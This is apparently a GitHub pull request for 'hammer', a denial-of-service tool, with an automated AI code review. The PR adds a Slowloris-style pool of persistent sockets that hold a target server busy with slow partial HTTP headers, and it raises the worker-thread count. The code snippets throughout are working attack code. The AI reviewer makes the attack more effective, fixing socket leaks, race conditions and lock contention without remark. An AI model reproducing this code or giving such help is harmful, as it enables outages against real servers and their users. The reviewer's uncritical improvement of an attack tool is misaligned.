feat: persistent hold + thread cap fix#92
Conversation
There was a problem hiding this comment.
Pull request overview
This PR adds two features to the hammer DOS testing tool: a persistent socket connection pool ("hold" feature) that maintains open connections to the target using slow HTTP header sends, and a cap on worker threads at 200 to prevent OS crashes when users specify high turbo values. The main loop is also restructured so threads are created once rather than inside a (previously non-functional) outer loop.
Changes:
- Added a persistent socket pool (
hold_sockets) with a backgroundhold_connectionsthread that keeps sockets alive by periodically sending partial HTTP headers, and replaces dead connections. - Capped worker thread creation at
min(thr, 200)and moved thread creation outside the main loop so threads are started once. - Restructured
bot_hammeringto continue retrying on exceptions (movedwhile Trueoutside thetryblock).
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| for _ in range(int(thr)): | ||
| try: | ||
| s = init_hold_socket() | ||
| hold_sockets.append(s) | ||
| except socket.error: | ||
| break | ||
| print("\033[93mhold:",len(hold_sockets),"sockets\033[0m") |
There was a problem hiding this comment.
The initial socket pool is populated with range(int(thr)) sockets (line 180), but the worker threads are capped at 200 (line 191). If a user sets -t 5000, this will try to open 5000 persistent sockets with no cap, which could exhaust file descriptors and cause the same OS resource issue the thread cap was meant to prevent. The pool size should also be capped, e.g. min(int(thr), 200).
| for s in list(hold_sockets): | ||
| try: | ||
| s.send("X-a: {}\r\n".format(random.randint(1,5000)).encode('utf-8')) | ||
| except socket.error: |
There was a problem hiding this comment.
When a dead socket is removed from hold_sockets, it is never explicitly closed (s.close() is not called). This leaks the underlying file descriptor. Call s.close() before removing the socket from the list.
| except socket.error: | |
| except socket.error: | |
| try: | |
| s.close() | |
| except OSError: | |
| pass |
| hold_sockets.append(s) | ||
| except socket.error: | ||
| break | ||
| print("\033[93mhold:",len(hold_sockets),"active\033[0m") |
There was a problem hiding this comment.
The len(hold_sockets) call on this line occurs outside the hold_lock context manager (the with block ends at line 93). Since hold_sockets is mutated from this thread and potentially from the main thread (line 183), reading it without the lock is a race condition. Move this print statement inside the with hold_lock: block, or capture the length while still holding the lock.
| print("\033[93mhold:",len(hold_sockets),"active\033[0m") | |
| active_count = len(hold_sockets) | |
| print("\033[93mhold:",active_count,"active\033[0m") |
| #worker threads capped at 200 to avoid OS limit | ||
| workers = min(int(thr), 200) | ||
| for i in range(workers): | ||
| t = threading.Thread(target=dos) | ||
| t.daemon = True | ||
| t.start() | ||
| t2 = threading.Thread(target=dos2) | ||
| t2.daemon = True | ||
| t2.start() |
There was a problem hiding this comment.
The comment says "worker threads capped at 200 to avoid OS limit", but each loop iteration creates two threads (one dos and one dos2), so the actual thread count is 2 * min(int(thr), 200) = up to 400 threads (plus the hold_connections thread). If the intent is to cap total worker threads at 200, the cap should be min(int(thr), 100) so that 100 × 2 = 200. Alternatively, update the comment to reflect the actual cap of 400.
| s.settimeout(4) | ||
| s.connect((host,int(port))) | ||
| s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('utf-8')) | ||
| s.send("User-Agent: {}\r\n".format(random.choice(uagent)).encode('utf-8')) | ||
| s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8')) | ||
| return s |
There was a problem hiding this comment.
init_hold_socket creates a socket and performs multiple operations (settimeout, connect, three send calls). If any send call raises an exception after connect succeeds, the socket is leaked because it is never closed. Wrap the body in a try/except that calls s.close() before re-raising, or use a context manager to ensure cleanup on error.
| s.settimeout(4) | |
| s.connect((host,int(port))) | |
| s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('utf-8')) | |
| s.send("User-Agent: {}\r\n".format(random.choice(uagent)).encode('utf-8')) | |
| s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8')) | |
| return s | |
| try: | |
| s.settimeout(4) | |
| s.connect((host,int(port))) | |
| s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('utf-8')) | |
| s.send("User-Agent: {}\r\n".format(random.choice(uagent)).encode('utf-8')) | |
| s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8')) | |
| return s | |
| except socket.error: | |
| s.close() | |
| raise |
| def hold_connections(): | ||
| while True: | ||
| with hold_lock: | ||
| #keep-alive on active sockets | ||
| for s in list(hold_sockets): | ||
| try: | ||
| s.send("X-a: {}\r\n".format(random.randint(1,5000)).encode('utf-8')) | ||
| except socket.error: | ||
| hold_sockets.remove(s) | ||
| #replace dead sockets | ||
| diff = thr - len(hold_sockets) | ||
| if diff > 0: | ||
| for _ in range(diff): | ||
| try: | ||
| s = init_hold_socket() | ||
| hold_sockets.append(s) | ||
| except socket.error: | ||
| break |
There was a problem hiding this comment.
hold_connections calls init_hold_socket() (which does network I/O with a 4-second timeout) while holding hold_lock. In the worst case (all sockets dead, thr replacements attempted, each timing out), the lock is held for thr * 4 seconds, blocking any other code that tries to acquire hold_lock. Consider performing the socket creation outside the lock and only acquiring the lock to update the hold_sockets list.
Hold connections pool + worker threads capped at 200 to prevent OS crash on high turbo values